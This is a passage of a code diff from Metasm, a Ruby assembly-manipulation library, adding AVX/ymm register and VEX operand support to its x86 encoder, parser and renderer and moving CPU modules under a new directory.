set_field[:vex_vvvv, ia.val ^ 0xf]
when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0
# implicit
else
@ -251,7 +254,7 @@ class Ia32
end
}
if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty?
if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty?
# reg field of modrm
regval = (base[-1] >> 3) & 7
base.pop
@ -265,6 +268,8 @@ class Ia32
postponed.first[1] = Expression[target, :-, postlabel]
end
pfx << op.props[:needpfx] if op.props[:needpfx]
#
# append other arguments
#
@ -273,7 +278,7 @@ class Ia32
postponed.each { |oa, ia|
case oa
when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym)
when :modrm, :modrmA, :modrmmmx, :modrmxmm
when :modrm, :modrmmmx, :modrmxmm, :modrmymm
if ia.kind_of? ModRM
ed = ia.encode(regval, @endianness)
if ed.kind_of?(::Array)
@ -295,6 +300,7 @@ class Ia32
when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness)
when :i8, :u8, :u16; ed = ia.encode(oa, @endianness)
when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness)
when :i4xmm, :i4ymm; ed = ia.val << 4 # u8
else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}"
end

View File

@ -34,6 +34,10 @@ class Ia32 < CPU
@val = v
end
def ==(o)
self.class == o.class and val == o.val
end
def self.from_str(s) new(@s_to_i[s]) end
}
end
@ -53,13 +57,16 @@ class Ia32 < CPU
@sz = sz
end
def ==(o)
self.class == o.class and val == o.val and sz == o.sz
end
def self.from_str(s)
raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s]
new(*x)
end
}
end
end
@ -78,15 +85,21 @@ class Ia32 < CPU
simple_map((0..7).map { |i| [i, "cr#{i}"] })
end
# test registers (tr0..tr7) (undocumented)
class TstReg < Argument
simple_map((0..7).map { |i| [i, "tr#{i}"] })
end
# floating point registers
class FpReg < Argument
simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST'])
end
# a single operation multiple data register (mm0..mm7, xmm0..xmm7)
# Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7)
class SimdReg < Argument
double_map 64 => (0..7).map { |n| "mm#{n}" },
128 => (0..7).map { |n| "xmm#{n}" }
128 => (0..7).map { |n| "xmm#{n}" },
256 => (0..7).map { |n| "ymm#{n}" }
def symbolic(di=nil) ; to_s.to_sym end
end
@ -128,12 +141,16 @@ class Ia32 < CPU
def initialize(seg, addr)
@seg, @addr = seg, addr
end
def ==(o)
self.class == o.class and seg == o.seg and addr == o.addr
end
end
# ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h])
class ModRM < Argument
# valid combinaisons for a modrm
# ints are reg indexes, symbols are immediates, except :sib
# ints are reg indexes, symbols are immediates, except :sib
Sum = {
16 => {
0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ],
@ -175,6 +192,10 @@ class Ia32 < CPU
p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3)
Indirection[p.reduce, @sz/8, (di.address if di)]
end
def ==(o)
self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz
end
end
@ -217,17 +238,44 @@ class Ia32 < CPU
pp.define_weak('__i386__')
end
# returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
# returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
# returns nil if str is invalid
def str_to_reg(str)
Reg.from_str(str) if Reg.s_to_i.has_key? str
Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil
end
# returns the list of Regs in the instruction arguments
# may be converted into symbols through Reg#symbolic
def instr_args_regs(i)
i = i.instruction if i.kind_of?(DecodedInstruction)
i.args.grep(Reg)
end
# returns the list of ModRMs in the instruction arguments
# may be converted into Indirection through ModRM#symbolic
def instr_args_memoryptr(i)
i = i.instruction if i.kind_of?(DecodedInstruction)
i.args.grep(ModRM)
end
# return the 'base' of the ModRM (Reg/nil)
def instr_args_memoryptr_getbase(mrm)
mrm.b || (mrm.i if mrm.s == 1)
end
# return the offset of the ModRM (Expression/nil)
def instr_args_memoryptr_getoffset(mrm)
mrm.imm
end
# define ModRM offset (eg to changing imm into an ExpressionString)
def instr_args_memoryptr_setoffset(mrm, imm)
mrm.imm = (imm ? Expression[imm] : imm)
end
def shortname
"ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}"
end
end
X86 = Ia32
end

File diff suppressed because it is too large Load Diff

View File

@ -4,8 +4,8 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/opcodes'
require 'metasm/ia32/encode'
require 'metasm/cpu/ia32/opcodes'
require 'metasm/cpu/ia32/encode'
require 'metasm/parse'
module Metasm
@ -99,6 +99,10 @@ class ModRM
else
b = o
end
when SimdReg
raise otok, 'mrm: too many regs' if i
i = o
s = 1
when Expression
if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg)
# scaled index
@ -106,7 +110,7 @@ class ModRM
s = o.lexpr
i = o.rexpr
s, i = i, s if s.kind_of? Reg
raise otok, 'mrm: bad scale' unless s.kind_of? Integer
raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s)
elsif o.op == :+
# recurse
walker[o.lexpr]
@ -153,7 +157,6 @@ end
end
def parse_prefix(i, pfx)
# XXX check for redefinition ?
# implicit 'true' return value when assignment occur
i.prefix ||= {}
case pfx
@ -163,11 +166,14 @@ end
when 'repne', 'repnz'; i.prefix[:rep] = 'repnz'
when 'code16'; i.prefix[:sz] = 16
when 'code32'; i.prefix[:sz] = 32
when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp'
when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp'
when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1])
end
end
def parse_argregclasslist
[Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg]
[Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg]
end
def parse_modrm(lex, tok, cpu)
ModRM.parse(lex, tok, cpu)
@ -230,17 +236,30 @@ end
# check if the argument matches the opcode's argument spec
def parse_arg_valid?(o, spec, arg)
if o.name == 'movsx' or o.name == 'movzx'
if not arg.kind_of? Reg and not arg.kind_of? ModRM
return
if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
return
elsif not arg.sz
puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
return
elsif spec == :reg # reg=dst, modrm=src (smaller)
return (arg.kind_of? Reg and arg.sz >= 16)
return (arg.kind_of?(Reg) and arg.sz >= 16)
elsif o.props[:argsz]
return arg.sz == o.props[:argsz]
else
return arg.sz <= 16
return arg.sz == 16
end
elsif o.name == 'crc32'
if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
return
elsif not arg.sz
puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
return
elsif spec == :reg
return (arg.kind_of?(Reg) and arg.sz >= 32)
elsif o.props[:argsz]
return arg.sz == o.props[:argsz]
else
return arg.sz >= 16
end
end
@ -254,7 +273,7 @@ end
cond and
case spec
when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz])
when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz])
when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg)
when :i; arg.kind_of? Expression
when :imm_val1; arg.kind_of? Expression and arg.reduce == 1
when :imm_val3; arg.kind_of? Expression and arg.reduce == 3
@ -267,15 +286,22 @@ end
when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1
when :eeec; arg.kind_of? CtrlReg
when :eeed; arg.kind_of? DbgReg
when :modrmA; arg.kind_of? ModRM
when :eeet; arg.kind_of? TstReg
when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b
when :farptr; arg.kind_of? Farptr
when :regfp; arg.kind_of? FpReg
when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0)
when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])))
when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))
when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128)
when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
when :regxmm; arg.kind_of? SimdReg and arg.sz == 128
when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
when :regymm; arg.kind_of? SimdReg and arg.sz == 256
when :vexvreg; arg.kind_of? Reg and arg.sz == @size
when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128
when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256
when :i8, :u8, :u16
arg.kind_of? Expression and
(o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed
@ -302,8 +328,8 @@ end
else
if r = i.args.grep(Reg).first
m.sz = r.sz
elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] }
m.sz = opcode_list_byname[i.opname].first.props[:argsz]
elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first
m.sz = l.first
else
# this is also the size of ctrlreg/dbgreg etc
# XXX fpu/simd ?
@ -320,6 +346,10 @@ end
end
end
def check_reserved_name(name)
Reg.s_to_i[name]
end
def instr_uncond_jump_to(target)
parse_instruction("jmp #{target}")
end

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/opcodes'
require 'metasm/cpu/ia32/opcodes'
require 'metasm/render'
# XXX move context in another file ?
@ -14,7 +14,7 @@ class Ia32
include Renderable
end
[SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval {
[SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval {
def render ; [self.class.i_to_s[@val]] end
} }
[Reg, SimdReg].each { |c| c.class_eval {
@ -60,12 +60,18 @@ class Ia32
def render_instruction(i)
r = []
r << 'lock ' if i.prefix and i.prefix[:lock]
r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep]
if pfx = i.prefix
r << 'lock ' if pfx[:lock]
r << pfx[:rep] << ' ' if pfx[:rep]
r << pfx[:jmphint] << ' ' if pfx[:jmphint]
r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg]
end
r << i.opname
sep = ' '
i.args.each { |a|
a.instruction = i if a.kind_of? ModRM
r << (r.last == i.opname ? ' ' : ', ') << a
r << sep << a
sep = ', '
}
r
end
@ -87,5 +93,26 @@ class Ia32
h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] }
h
end
def gui_hilight_word_regexp_init
ret = {}
%w[a b c d].each { |r|
ret["#{r}l"] = "e?#{r}x|#{r}l"
ret["#{r}h"] = "e?#{r}x|#{r}h"
ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]"
}
%w[sp bp si di].each { |r|
ret[r] = ret["e#{r}"] = "e?#{r}"
}
ret
end
def gui_hilight_word_regexp(word)
@gui_hilight_word_hash ||= gui_hilight_word_regexp_init
@gui_hilight_word_hash[word] or super(word)
end
end
end

View File

@ -0,0 +1,14 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
class Metasm::MIPS < Metasm::CPU
end
require 'metasm/main'
require 'metasm/cpu/mips/parse'
require 'metasm/cpu/mips/encode'
require 'metasm/cpu/mips/decode'
require 'metasm/cpu/mips/render'
require 'metasm/cpu/mips/debug'

View File

@ -3,5 +3,5 @@
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/mips/parse'
require 'metasm/cpu/mips/parse'
require 'metasm/compile_c'

Some files were not shown because too many files have changed in this diff Show More